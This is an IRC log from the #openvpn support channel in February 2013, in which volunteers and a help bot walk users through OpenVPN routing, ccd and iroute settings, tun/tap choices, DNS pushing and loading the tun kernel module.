08:43 < havoc> 08:33:09 <fu_fu> Wed Feb 27 06:32:37 2013 TLS Error: TLS key negotiation failed to occur within 60 seconds (check your network connectivity)
08:43 < havoc> that
08:43 < fu_fu> it got past the TLS error thanks
08:43 < fu_fu> right on
08:43 < havoc> ah, ok
08:44 < fu_fu> even tho the crappy windows firewall is "off"
08:47 < fu_fu> sweet, you rock, looks like i just have to get my routing worked out now
08:47 < fu_fu> unless oyu know about the bas source address  lines, they repeat and i have them muted, but nice to have it clean
08:57 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Read error: Connection reset by peer]
08:57 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
09:01 -!- dazo is now known as dazo_afk
09:01 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
09:06 -!- marksaitis [~marksaiti@81.101.81.114] has quit [Read error: Connection reset by peer]
09:28 -!- mndo [~mndo@bl17-94-90.dsl.telepac.pt] has joined #openvpn
09:32 -!- Erawan_Ra [~Erawan@at.erawan.me] has quit [Quit: Needed some rest ...]
09:34 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Read error: Connection reset by peer]
09:44 -!- DaCheat_ [JMark@external.JmarkIT.com] has quit [Quit: leaving]
09:46 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
09:46 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
09:46 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
09:46 -!- mode/#openvpn [+o krzee] by ChanServ
10:14 -!- Saviq [~Saviq@canonical/saviq] has quit [Quit: ZNC - http://znc.sourceforge.net]
10:14 -!- Saviq [~Saviq@sawicz.net] has joined #openvpn
10:16 < dpecka> hello
10:16 < dpecka> need to resolvo following:
10:17 -!- Orbi [~opera@109.129.8.111] has joined #openvpn
10:18 < dpecka> can I fsomehow configure server that it requires that the key passphrase is typed and not saved localy on client side in some plaintext file ?
10:19 <@krzee> no, and there would be no way to enforce it
10:23 -!- raidz_away is now known as raidz
10:23 < dpecka> thanks, fair
10:24 <@krzee> i dont like it either
10:33 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
10:40 -!- zhvtar is now known as Zhvtar
10:48 -!- AsadH is now known as zz_AsadH
10:52 -!- odoacre [~antonio@64.235.48.199] has quit [Ping timeout: 276 seconds]
10:52 -!- Saviq [~Saviq@sawicz.net] has quit [Quit: ZNC - http://znc.sourceforge.net]
10:53 -!- Saviq [~Saviq@sawicz.net] has joined #openvpn
10:54 -!- odoacre [~antonio@64.235.48.199] has joined #openvpn
10:59 -!- knobo [~user@ti0125a380-1018.bb.online.no] has quit [Ping timeout: 260 seconds]
11:02 -!- knobo [~user@ti0125a380-1018.bb.online.no] has joined #openvpn
11:06 -!- Varazir [~mircwars@c-94-255-130-138.cust.bredband2.com] has quit [Quit: brb]
11:08 -!- [1]JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Read error: Connection reset by peer]
11:10 -!- Saviq [~Saviq@sawicz.net] has quit [Quit: ZNC - http://znc.sourceforge.net]
11:11 -!- alex88 [~alex88@unaffiliated/alex88] has joined #openvpn
11:13 < alex88> hi guys, at work we've a tap based vpn, now I wanted to include the vpn for android connection but I needed tap, is possible to use both in the same network range?
11:15 -!- Saviq [~Saviq@sawicz.net] has joined #openvpn
11:26 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
11:28 -!- MeanderingCode [~Meanderin@71-213-181-244.albq.qwest.net] has joined #openvpn
11:41 -!- Varazir [~mircwars@c-94-255-130-47.cust.bredband2.com] has joined #openvpn
11:47 -!- sqwerty [~sqwerty@unaffiliated/sqwerty] has quit [Ping timeout: 276 seconds]
11:48 <@plaisthos> !tunortap
11:48 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against
11:48 <@vpnHelper> you over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
11:48 <@plaisthos> android does not spport tap
11:48 <@plaisthos> nd mixing of tap /tun is no support
11:48 < alex88> plaisthos: I know, but I need tap for actual clients
11:48 < alex88> btw I've solved using another subnet
11:48 < alex88> and it worked fine
11:52 < rob0> same network range? Why?
11:52 < rob0> no, your tun VPN should be a separate range.
11:57 < alex88> rob0: the idea was just to have the same clients on the same network, but I've set on a different range and it works fine
11:58 < rob0> if they're all going through the same server, it IS the same network, no? The IP address is just a number. The question is, can it be routed?
11:59 < alex88> rob0: it is the same server but they have 2 different subnets
11:59 < alex88> btw routing works fine
12:00 < alex88> just needed to add push some routes
12:00 -!- marksaitis [~marksaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
12:00 -!- HH [~Userfgfgf@adsl-98-82-180-100.jax.bellsouth.net] has joined #openvpn
12:01 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
12:01 < HH> hi all, not sure if there are people here or not but I dled your vpn and your long instructions are jargon to me so no clue how to make the bloody thing work
12:02 < HH> keep getting fatal errors on key, can't open the vpn
12:03 < HH> it would be awesome if you could do a simple instructions not a bill gates hacker style code from hell type instructions
12:04 -!- erry is now known as ^erry
12:04 -!- HH [~Userfgfgf@adsl-98-82-180-100.jax.bellsouth.net] has quit [Client Quit]
12:05 < dan__t> morning.  been using openvpn for a few years now to get to my lab at home.  i don't know if this is better handled in OpenVPN or just by being smarter with how I segregate my home network, but is there a way I can limit VPN users to specific hosts inside of my VPN?
12:05 -!- ^erry is now known as erry
12:07 < EugeneKay> Sure. Hand out static IPs and firewall
12:07 < EugeneKay> Don't use the --client-to-client uption
12:07 < dan__t> yea, firewalls would do it heh
12:07 < EugeneKay> option
12:08  * EugeneKay can't type
12:09 < rob0> haha, if "bill gates" is his best example of "hacker", HH is not going to do well in Unix and networking.
12:11 < rob0> dan__t, in addition to what EugeneKay said, you'll probably want to use a --client-config-dir and --ccd-exclusive.
12:11 < dan__t> right, i can do that
12:11 < dan__t> i do use ccd
12:13 -!- MeanderingCode [~Meanderin@71-213-181-244.albq.qwest.net] has quit [Remote host closed the connection]
12:13 < dan__t> awesome thanks.
12:14 < dan__t> http://securityskittles.wordpress.com/2012/03/14/two-factor-authentication-for-openvpn-on-centos-using-google-authenticator/
12:14 < dan__t> wow.
12:14 <@vpnHelper> Title: Two Factor authentication for OpenVPN on CentOS using Google Authenticator | Security Skittles Blog (at securityskittles.wordpress.com)
12:15 -!- Saviq [~Saviq@sawicz.net] has quit [Quit: ZNC - http://znc.sourceforge.net]
12:15 -!- master_of_master [~master_of@p4FF24E6E.dip.t-dialin.net] has joined #openvpn
12:16 -!- Saviq [~Saviq@canonical/saviq] has joined #openvpn
12:18 -!- MeanderingCode [~Meanderin@71-213-181-244.albq.qwest.net] has joined #openvpn
12:22 -!- MeanderingCode_ [~Meanderin@71-213-181-244.albq.qwest.net] has joined #openvpn
12:22 -!- MeanderingCode [~Meanderin@71-213-181-244.albq.qwest.net] has quit [Ping timeout: 264 seconds]
12:28 < dan__t> bloops.
12:39 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
12:39 -!- mode/#openvpn [+v s7r] by ChanServ
12:41 -!- dextro_ [~dextro_@65.110.29.202] has joined #openvpn
12:42 < dextro_> i am using client-config-dir /etc/openvpn/ccd
12:42 < dextro_> to ifconfig-push 10.8.0.6 10.8.0.5
12:43 < dextro_> to a cert called 'bell2'
12:43 < dextro_> but when a client cert 'bearclaw' which has no ccd signs on
12:43 < dextro_> it gets the ip
12:45 < dextro_> i dont want to ccd for 'bearclaw' because it has more than one machine using the cert and i dont want them all being forced to same ip
12:47 -!- neilhwatson [~neilhwats@CPE00e081b5ee1e-CMbc140134c320.cpe.net.cable.rogers.com] has joined #openvpn
12:48 -!- mndo [~mndo@bl17-94-90.dsl.telepac.pt] has quit [Quit: going home]
12:51 -!- fu_fu [~Adium@c-107-3-50-191.hsd1.vt.comcast.net] has left #openvpn []
12:53 < neilhwatson> IN bridged mode why would the server not be able to ping the client?   Via the VPN the client exists on the server's network.  Iptables are empty.
12:53 < neilhwatson> The client can ping the server and any hosts on that network.
12:54 <@krzee> dextro_, push an ip outside of the pool
12:57  * dextro_ slaps self
12:57 < dextro_> duh thanks lol
12:58 -!- brute11k [~brute@89.249.231.13] has joined #openvpn
12:59 < rob0> shared cert=bad idea
13:02 -!- master_of_master [~master_of@p4FF24E6E.dip.t-dialin.net] has quit [Ping timeout: 252 seconds]
13:03 -!- master_of_master [~master_of@p4FF24E6E.dip.t-dialin.net] has joined #openvpn
13:07 -!- Rolybrau [~Rolybrau@unaffiliated/rolybrau] has joined #openvpn
13:13 < neilhwatson> I have working bridged tunnel, ipv4.  When I activate it ipv6 route table is altered.  How can I prevent that?
13:17 < dan__t> once openvpn is in daemon mode, how can I terminate the connection, short of kill -9?
13:19 < rob0> see SIGNALS in the man page, also look at --management
13:19 < dan__t> management...
13:19 < dan__t> i was searching for "admin"
13:19 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer]
13:19 < dan__t> thanks.
13:35 -!- xxoxx [~xxoxx@tor/regular/xxoxx] has joined #openvpn
13:35 < xxoxx> hello
13:42 -!- Rolybrau [~Rolybrau@unaffiliated/rolybrau] has quit [Quit: Rolybrau]
13:45 -!- xxoxx [~xxoxx@tor/regular/xxoxx] has quit [Quit: Leaving]
13:46 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
13:53 -!- dextro_ [~dextro_@65.110.29.202] has quit []
14:08 -!- brute11k [~brute@89.249.231.13] has quit [Quit: Leaving.]
14:16 -!- sqwerty [~sqwerty@unaffiliated/sqwerty] has joined #openvpn
14:44 -!- WITRchris [~chris@unaffiliated/hyperactivecrond] has joined #openvpn
14:44 < WITRchris> this is a weird situation
14:44 < WITRchris> but say i've got a pfsense box behind NAT
14:44 < WITRchris> and i've got an openvpn server with a public ip
14:45 < WITRchris> is it possible to have clients connecting to the openvpn server be able to route through pfsense to its internal net?
14:45 < WITRchris> so like client (wherever) -> openvpn server -> pfsense -> internal net
14:45 < WITRchris> i would think that'd be a pretty common scenario
14:45 < rob0> pfsense as client? If so:
14:45 < rob0> !clientlan
14:45 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a
14:46 <@vpnHelper> better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png
14:46 < WITRchris> yep
14:47 < WITRchris> thanks a lot rob0
14:56 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has joined #openvpn
14:58 < rob0> yw
15:04 -!- greyeax [~grey@cpe-108-185-215-179.socal.res.rr.com] has joined #openvpn
15:14 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit []
15:21 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit []
15:26 < WITRchris> hm
15:26 < WITRchris> i added another 'route' statement to my openvpn server's config
15:26 < WITRchris> but openvpn isn't adding a route as reported by netstat -r
15:32 < WITRchris> weird, it's pushing it to the clients though
15:32 -!- neilhwatson [~neilhwats@CPE00e081b5ee1e-CMbc140134c320.cpe.net.cable.rogers.com] has quit [Quit: Leaving.]
15:34 < pekster> WITRchris: 'route' will add it to the system it's specified on, compard with a 'push "route ..."' statement that sends it to clients. Normally on a server you need both to support client LANs, and need to restart the service after making the change
15:34 -!- Eagleman [~Eagleman@vpn.eagleman.net] has joined #openvpn
15:35 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has quit [Quit: Sto andando via]
15:36 < WITRchris> right
15:36 < WITRchris> it appears to be failing to add the routes because it's trying to add the routes before the IP of the tunnel int is set up
15:37 -!- marksaitis [~marksaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Ping timeout: 272 seconds]
15:39 < pekster> WITRchris: This is on the openvpn server? Can you pastebin the logs?
15:39 < WITRchris> sure, sec
15:40 < WITRchris> http://pastebin.ca/2317645
15:42 < WITRchris> once stuff settles,
15:42 < pekster> Yea, I noticed weirdness with that page as it fails to load over IPv6, but works on my IPv4-only AWS proxy via openvpn
15:42 < WITRchris> http://pastebin.ca/2317647
15:43 < WITRchris> that's the netstat -r
15:44 < pekster> Can you also put your config up? OpenVPN is complaining it can't add the route due toa  missing gateway, so you likely need to add that for the server and possibly push it to clients too
15:48 < WITRchris> yeah sec
15:49 < WITRchris> http://pastebin.ca/2317653 there's the config
15:52 -!- JSharpe [~JSharpe@10-253-3-31-anc.floodtel.net] has quit [Quit: Leaving]
15:52 < pekster> That's missing all the important bits like the network range and pushed options for clients
15:53 < WITRchris> hm
15:53 < pekster> That won't work as a server config file unless you're passing all the required options on the command-line
15:53 < WITRchris> wut
15:53 < WITRchris> it's... working now i think
15:53 < WITRchris> hang on
15:54 < WITRchris> assuming i didn't screw up
15:55 < WITRchris> it's working fine for the simple multiple clients -> one server config i have
15:57 < kisom> pekster: Did you give my config a go yet? :)
15:59 < pekster> WITRchris: That is not the full configuration that was called to generate the log output you linked. For instance, the pool setup on line 22 of the log output has no corresponding ifconfig-pool or server directive to support it
16:00 < WITRchris> weird
16:00 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit []
16:00 < WITRchris> maybe i miseed something
16:01 < pekster> How are you starting openvpn? If it's not via 'openvpn --config /usr/local/etc/openvpn.conf' or such, my guess is whatever init system you're using is adding the options. Assuming it even uses that config file to begin with, it'll have to append its own to work as a multi-client server
16:04 < WITRchris> oh i screweed up when i copypasted
16:04 < WITRchris> http://i.ccmo.me/openvpn.conf there
16:05 -!- Eagleman [~Eagleman@vpn.eagleman.net] has quit [Ping timeout: 276 seconds]
16:05 < pekster> That's better. You don't need the route or push route for the 10.28.128.0/24 network as the server config option already handles that for you
16:06 < WITRchris> ok
16:07 < WITRchris> apparently i still need some gateway or something for 10.1.10.0 (the pfsense internal net)
16:07 < pekster> Is 10.1.10/24 behind a client then? And you have a matching ccd for it?
16:08 < WITRchris> yes
16:08 < WITRchris> the ccd is set for the client it's behind
16:08 < pekster> Should be 'iroute 10.1.10.0 255.255.255.0' in there
16:08 < WITRchris> yep
16:10 < pekster> The route belongs in the ccd too then
16:10 < WITRchris> so i have to add route 10.1.10.0 255.255.255.0 to that client's ccd?
16:11 < WITRchris> even though other clients are gonna have to be able to connect to it?
16:11 < pekster> Right, and remove that from the main config (but leave the push in there as your other clients need it)
16:12 < WITRchris> ok
16:12 < pekster> That causes the route to 10.1.10/24 to be dynamically added when the client connects, and the iroute tells openvpn to handle it internally via the VPN IP that client is assigned
16:12 < WITRchris> ah ok got it
16:13 < WITRchris> hm
16:13 < pekster> I suppose technically you can do it in the main config (so the route is there even if the client isn't connected) but that's sorta pointless, except maybe to avoid hitting the TTL as it bounces between the VPN server and an upstream gw that routes back to it. You'd need a 'route-gateway' statement though, since --server doesn't include one in subnet mode (see --server in the manpage for the expansion with subnet)
16:13 < WITRchris> i am getting Wed Feb 27 17:14:44 2013 pfsense.vmnet.roc0.chriscmolik.com/66.66.23.158:18633 OPTIONS IMPORT: reading client specific options from: ccd/pfsense.vmnet.roc0.chriscmolik.com
16:13 < WITRchris> Wed Feb 27 17:14:44 2013 pfsense.vmnet.roc0.chriscmolik.com/66.66.23.158:18633 Options error: option 'route' cannot be used in this context
16:15 < pekster> Oh, maybe you can't do that? I was pretty sure you used to be able to, but maybe I'm remembering that wrong (or I did that in a client-connect script)
16:15 < pekster> So, add 'route-gateway 10.28.128.1' to your server config and see if the route statement works out of the main config
16:16 < pekster> topology subnet doesn't give that to you automatically, for some reason
16:16 < WITRchris> ok
16:18 < WITRchris> ok looks good, clients are getting routes
16:18 -!- Orbi [~opera@109.129.8.111] has left #openvpn []
16:18 < pekster> And your errors about the missing gw should be gone from the server log now
16:18 < WITRchris> and the server is picking up the 10.1.10.0 route
16:19 < WITRchris> yep
16:19 < WITRchris> just gotta get pfsense to actually route the traffic back
16:19 < pekster> So should that duplicate route if you removed the unnecessary route to the subnet's own network
16:19 < WITRchris> yeah i removed the unnecessary route
16:19 < pekster> That should take care of all the errors in the server then
16:20 < WITRchris> yep
16:20 < pekster> You also can remove the ifconfig-pool-persist option as it doesn't really serve a purpose and in rare conditions it's been known to cause issues (when something gets stuck in there that shouldn't, for whatever reason.)
16:21 < pekster> If you actually need static IPs, you're better off issuing them yourself in a ccd of client-connect script outside of the pool range
16:21 -!- EvilJStoker is now known as JStoker
16:23 < WITRchris> mhm
16:24 < WITRchris> aww yeah it worked after i added the int in pfsense and the gateway to 10.28.128.1
16:26 < WITRchris> i'm sure there's a way to push a client a dns server, right?
16:28 < pekster> See the --dhcp-option directive, although non-Windows requires client-side scripts to support it as it's only exposed as an environmental variable on Unix/Linux systems
16:28 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
16:29 < pekster> Windows passes it to the client during auto-config via the fake DHCP service openvpn exposes to the client
16:29 -!- roboman2444 [~roboman24@unaffiliated/roboman2444] has joined #openvpn
16:29 -!- nonotza [~nonotza@cpe-74-73-224-62.nyc.res.rr.com] has joined #openvpn
16:29 < roboman2444> can i get openvpn to work without that annoying taskbar icon?
16:30 < roboman2444> on windows
16:30 < pekster> roboman2444: Under Windows? You can run it as a system service or directly from a command-line or system call from whatever frontend you want
16:30 < roboman2444> and that wont show the taskbar icon up?
16:30 < roboman2444> with programs today, i have like 40 taskbar icons
16:30 < roboman2444> i dont need another
16:30 < pekster> The icon is just the GUI frontend for openvpn
16:31 < roboman2444> ok
16:31 < WITRchris> yep
16:31 < pekster> You're free to start it another way, but the included OpenVPN GUI is controlled/managed solely through the taskbar icon
16:31 < WITRchris> got the dns server
16:31 < WITRchris> i should label a search domain too lol
16:45 -!- roboman2444 [~roboman24@unaffiliated/roboman2444] has quit [Ping timeout: 272 seconds]
16:47 -!- hotwings [hd@secksy.net] has left #openvpn []
17:03 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn []
17:06 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:09 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
17:09 < pekster> kisom: No, but I should play with it and see if I can reproduce your results. I'll set a reminder for tonight after I pick up my car and see if I can give it a whirl: I'll drop any notes in the bugreport and ping you too
17:14 -!- WITRchris [~chris@unaffiliated/hyperactivecrond] has left #openvpn []
17:18  * rob0 wants to watch pekster pick up a car!
17:18 < rob0> better yet: to pick it up and whirl it! Wow!
17:19 < pekster> Just let me rig it to a few carabiners and pulleys first :)
17:19 < rob0> cheater :(
17:22 < pekster> cd openvpn; ./configure --with-car-stunts
17:32 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Read error: Connection reset by peer]
17:33 -!- ploo [~lbz@c-71-196-252-82.hsd1.co.comcast.net] has joined #openvpn
17:33 < ploo> do people use ask-pass?
17:47 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
17:47 -!- mode/#openvpn [+o krzee] by ChanServ
18:06 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
18:28 -!- md_5 [md_5@mcdevs/trusted/md-5] has quit [Ping timeout: 252 seconds]
18:34 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
18:39 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has quit [Ping timeout: 276 seconds]
18:56 -!- sqwerty [~sqwerty@unaffiliated/sqwerty] has quit [Ping timeout: 272 seconds]
19:02 -!- md_5 [md_5@mcdevs/trusted/md-5] has joined #openvpn
19:03 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
19:11 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
19:16 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
19:17 -!- JStoker is now known as Guest64683
19:19 -!- Guest64683 [jstoker@unaffiliated/jstoker] has left #openvpn []
19:19 -!- JStoker2 [jstoker@unaffiliated/jstoker] has joined #openvpn
19:19 -!- JStoker2 is now known as EvilJStoker
19:29 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
19:30 -!- raidz is now known as raidz_away
19:44 < greyeax> is there any other way to have openvpn authenticate against openldap other than openvpn-auth-ldap plugin? because it apparently does not want to build on my machine.
19:52 <@krzee> sure, any script you write will work
19:52 <@krzee> (if your script works)
19:52 <@krzee> !script
19:52 <@vpnHelper> "script" is see http://openvpn.net/index.php/open-source/documentation/manuals/69-openvpn-21.html#lbAR for a list of places scripts can hook into openvpn
19:52 <@krzee> !authpass
19:52 <@vpnHelper> "authpass" is (#1) please see --auth-user-pass-verify in the manual to learn how to force clients to use passwords in addition to certs or (#2) or to ONLY use passwords (no certs, highly NOT recommended) also use --client-cert-not-required or (#3) and if you want the login name to be used as the common-name for things like ccd entries, use --username-as-common-name
19:58 -!- nonotza [~nonotza@cpe-74-73-224-62.nyc.res.rr.com] has left #openvpn []
20:07 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has joined #openvpn
20:12 -!- Aprogas [aprogas@enki.aprogas.net] has joined #openvpn
20:12 < Aprogas> !welcome
20:12 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
20:12 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
20:13 < Aprogas> !topology
20:13 <@vpnHelper> "topology" is (#1) it is possible to avoid the !/30 behavior if you use 2.1+ with the option: topology subnet This will end up being default in later versions. or (#2) Clients will receive addresses ending in .2, .3, .4, etc, instead of being divided into 2-host subnets. or (#3) See http://osdir.com/ml/network.openvpn.devel/2005-09/msg00020.html for more history on this.
20:14 < Aprogas> !/30
20:14 <@vpnHelper> "/30" is (#1) Default behaviour assigns a /30 subnet(4 addresses) to each peer. See http://goo.gl/6vemm for background or (#2) you can avoid this behavior by reading !topology or (#3) by default, first client is .6, then .10 .14 .18 etc or (#4) use openvpn --show-valid-subnets to see the subnets you can use in net30 or (#5) tl;dr Windows sucks, use --topology subnet in your server.conf
20:26 < Aprogas> !interface
20:26 <@vpnHelper> "interface" is (#1) paste interface configuration from both client and server, while being disconnected and when beeing connected. Be sure to also add the routing tables for both situations from client and from server or (#2) in windows: ipconfig /all - unix: ifconfig -a , and for routing tables: netstat -rn
20:30 -!- p3rror [~mezgani@41.140.38.124] has quit [Ping timeout: 248 seconds]
20:33 -!- brute11k [~brute@89.249.230.53] has joined #openvpn
20:51 -!- MeanderingCode_ [~Meanderin@71-213-181-244.albq.qwest.net] has quit [Read error: Operation timed out]
20:51 -!- devslash [~devslash@unaffiliated/devslash] has joined #openvpn
20:51 < devslash> i installed openvpn on my linux server
20:51 < devslash> i want to connect from android. which files do i need to copy to the client ?
20:53 < devslash> is anyone here ?
21:00 -!- pinion [~pinion@unaffiliated/pinion] has joined #openvpn
21:01 < pinion> !welcome
21:01 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
21:01 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
21:07 < pekster> devslash: did you see:
21:07 < pekster> !howto
21:07 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
21:07 < devslash> yea
21:08 < devslash> thanks
21:09 < pinion> I would like to access an internal webhost from my iphone. I barely know what I'm doing but I got openvpn configured and running on openwrt and I'm able to connect from my iphone on LTE. The issue is I can only get to certain hosts eg 192.168.2.69:8081 or 8082 but I can't get to 192.168.2.69:80
21:09 < pekster> Besides the client-centric config, the client needs the ca.crt from the PKI you created (assuming you're using TLS mode, which is recommended) and its own keypair (so the key and cert the PKI generated from the public key)
21:09 < pinion> Server cfg: http://pastebin.com/qznjH9bp
21:11 < pinion> And apparantly the log was set to go to a location that doesn't exist...
21:12 < pekster> pinion: On OpenWRT you probably either want to let it log to syslog (ie: the circular buffer OpenWRT keeps in RAM) or on a mounted USB partition, otherwise you're going to be doing a lot of write to the internal flash and growing the log since you used -append
21:13 < pekster> I see you're redirecting the gateway too, which should be sufficient to reach an internal LAN; you need a return route so the LAN client can get back to the VPN network. Is the VPN server also the LAN's default gateway? (that would take care of the return route)
21:14 < pekster> Also, I need to give you some bonus points for posting a real config and not the OpenWRT UCI mess ;)
21:14 < pinion> Thanks :), give me a minute to chew on this
21:15 < pinion> the vpn server isn't the lans default gateway, no
21:15 < pekster> In that case your LAN's gw needs a return route that sends traffic bound for the VPN client network range via the VPN server
21:16 < pekster> (otherwise the return traffic gets routed upsteam in a typical home network setup where that gw has its own default route)
21:17 < pinion> Cool I'll check that out, the log is going to an external usb drive.. but I still don't really want it doing that I don't think. thanks for the syslog tip
21:17 < pinion> and I'll google around on openwrt about the default gateway
21:19 < pekster> It's fine if your VPN server (whatever it is running on) isn't the default gw for LAN clients, but then the gw that is needs a return route. See:
21:19 < pekster> !serverlan
21:19 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
21:20 < devslash> when i try to do openvpn /etc/openvpn/server.conf  i get an error "ERROR: Cannot open TUN/TAP dev /dev/net/tun: No such device (errno=19)"
21:20 < devslash> I loaded the tun module
21:20 < devslash> and /dev/net/tun does exist
21:21 < pekster> Not running as root perhaps, lacking permission to read it?
21:21 < devslash> i am root
21:22 < devslash> i do have a firewall
21:22 < devslash> shore wall. do I need to allow access to it ?
21:23 < devslash> hmm
21:23 < devslash> i don't think the  tun module loaded. i don't see it in the output of lsmod
21:25 < pekster> if it's a module you should; if it's built into the kernel you won't see it there
21:26 < pekster> If you have config.gz support, this will tell you: zgrep CONFIG_TUN /proc/config.gz
21:26 < devslash> i think i need to load the module
21:26 < devslash> its set as a module
21:26 < devslash> ONFIG_TUN=m
21:26 < devslash> err CONFIG_TUN=m
21:26 < pekster> 'modprobe tun' then
21:27 < devslash> i did
21:27 < devslash> no error
21:27 < devslash> but if I do lsmod it doesn't appear to have loaded
21:27 <@ecrist> evening, kids
21:28 < devslash> any idea ?
21:29 < pekster> modprobe shouldn't exit cleanly if it failed to load the module. Try insmod instead?
21:29 < pinion> pekster: My hero. I just had to set up the firewall zone settings, add a new zone (eg VPN), and do some "inter-zone forwarding"
21:29 < pinion> Appears to be working great now, thanks for the help
21:29 < devslash> just ins mod tun ?
21:30 < pekster> I think it needs a full path to the module, but It's been a while since I've used it
21:32 < pekster> Yea, looks like my insmod eats it like that; check for the .ko module file at /lib/modules/`uname -r`/kernel/drivers/net/tun.ko
21:33 < pekster> modprobe "shouldn't" give you a zero exit-code if it failed; it'll return success silently though if the module is loaded (and you should thus see it with: lsmod | grep tun)
21:50 -!- devslash [~devslash@unaffiliated/devslash] has quit [Quit: devslash]
21:51 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds]
21:58 -!- brute11k [~brute@89.249.230.53] has quit [Quit: Leaving.]
22:04 -!- sedulous [~sedulous@unaffiliated/sed/x-0159859] has quit [Ping timeout: 245 seconds]
22:05 -!- MorgyN [~mig@island.morgyn.org] has quit [Ping timeout: 255 seconds]
22:05 -!- mcp [~mcp@wolk-project.de] has quit [Ping timeout: 264 seconds]
22:05 -!- pcdummy [~quassel@unaffiliated/pcdummy] has quit [Ping timeout: 245 seconds]
22:11 -!- pcdummy [~quassel@mx1.page4me.ch] has joined #openvpn
22:11 -!- pcdummy [~quassel@mx1.page4me.ch] has quit [Changing host]
22:11 -!- pcdummy [~quassel@unaffiliated/pcdummy] has joined #openvpn
22:17 -!- MorgyN [~mig@island.morgyn.org] has joined #openvpn
22:18 -!- sedulous [~sedulous@unaffiliated/sed/x-0159859] has joined #openvpn
22:19 -!- devslash [~devslash@unaffiliated/devslash] has joined #openvpn
22:20 -!- mcp [~mcp@wolk-project.de] has joined #openvpn
22:43 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has left #openvpn []
22:45 < devslash> i just set up openvpn in arch linux and Im using shorewall. Do i need to open a port in shorewall?
22:48 < pekster> That depends greatly on your firewall setup. The encapsulated OpenVPN traffic operates over a single port, UDP port 1194 by default and IANA standard
22:56 -!- devslash [~devslash@unaffiliated/devslash] has quit [Quit: devslash]
23:04 -!- devslash [~devslash@unaffiliated/devslash] has joined #openvpn
